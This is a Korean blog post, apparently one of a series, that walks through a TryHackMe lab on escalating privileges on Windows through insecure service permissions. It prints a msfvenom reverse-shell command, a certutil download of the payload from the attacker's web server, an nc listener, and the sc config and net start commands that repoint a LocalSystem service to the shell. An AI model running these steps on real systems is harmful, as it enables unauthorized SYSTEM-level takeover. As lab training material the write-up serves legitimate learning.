새로운 "윈도우 환경 권한상승" 과목의 첫 글입니다.
윈도우 권한상승 과목의 블로그들은 tryhackme의 "Windows PrivEsc"이라는 강의를 바탕으로 쓰는 것입니다.
https://tryhackme.com/room/windows10privesc
TryHackMe | Windows PrivEsc
Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321
tryhackme.com
Insecure Service Permissions란 권한이 약한 실행 파일을 사용하도록 구성된 서비스는 권한 상승 공격에 취약한다는 것입니다.
바로 tryhackme의 예시를 보면서 더 자세하게 알아보도록 하겠습니다.
왼쪽은 공격자의 Kali 머신이고, 왼쪽은 피해자입니다.
피해자의 시스템에 msfvenom으로 만든 reverse shell 업로드하여 foothold를 얻습니다.
1) msfvenom으로 reverse shell 만들기
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[공격자아이피] LPORT=[원하는 포트] -f exe -o reverse.exe
-p : payload를 정확히 알려줌. 64빗 시스템이라 x64
-f : .exe 파일 생성
-o : output. 어디에다 저장할 것인지 및 파일 이름
2) 공격자 파이썬 웹서버
python3 -m http.server 80
이 서버에 연결하여 1)에서 만들었던 shell를 피해자 컴튜터 다운로드
certutil.exe -urlcache -f -split http://공격자아이피/reverse.exe
3) shell 연결 기다리기
nc -nlvp 4321
4) 피해자 시스템에서 파일 실행
권한상승이 여기부터 시작됩니다.
윈도우 권한상승은 가장 실용적인 툴은 틀림없이 winpeas입니다. 시스템의 취약점들에 대해 알려 줍니다.
위와 똑같이 certutil으로 winpeas를 다운로드하고 실행시키면 됩니다.
오늘 공부하는 취약점 말고도 다양한 취약점이 많은 것을 확인할 수 있으나, 다른 취약점들은 다음 블로그에서.. :)
밑에 있는 사진에 "daclservice"가 보입니다. winpeas의 output에 따르면 우리는 이 binary를 modifty를 할 수 있습니다!
accesschk.exe로 더 정확한 정보를 받을 수 있습니다. 권한들 중에 "SERVICE_CHANGE_CONFIG"이라는 권한도 있습니다. 덕분에 이 "daclsvc"라는 서비스가 쓰는 .exe 파일을 우리는 다른 .exe 파일로 변경할 수 있습니다. 처음에 만들었던 reverse.exe를 다시 쓰면 됩니다!
그리고 "sc qc"로 확인해 보니 이 서비스는 LocalSystem 권한으로 운영됩니다. 따라서 BINARY_PATH_NAME에 나오는 .exe를 악성 .exe 파일로 바꾸면 우리는 권한이 더 높은 유저가 될 수 있습니다.
#서비스가 쓰는 .exe 파일을 바꾸기
sc config daclsvc binpath= "\"C:\Users\user\Desktop\reverse.exe\""
#daclsvc 서비는 지금 중단되어 있기 때문에 net start로 "부팅" 시키면 됩니다
net start daclsvc
위의 명령어로 서비스가 쓰는 binary를 바꿨고, 서비스가 부팅이 되자마자 "nt authority\system" 권한이 있는 shell를 받습니다.
윈도우 권한상승 #6 SeBackup Privilige (1) | 2022.06.19 |
---|---|
윈도우 권한 상승 #5 AutoRun (0) | 2022.06.15 |
윈도우 권한상승 #3 Always Install Elevated (0) | 2022.06.07 |
윈도우 권한상승 #2 Unquoted Service Path (0) | 2022.06.04 |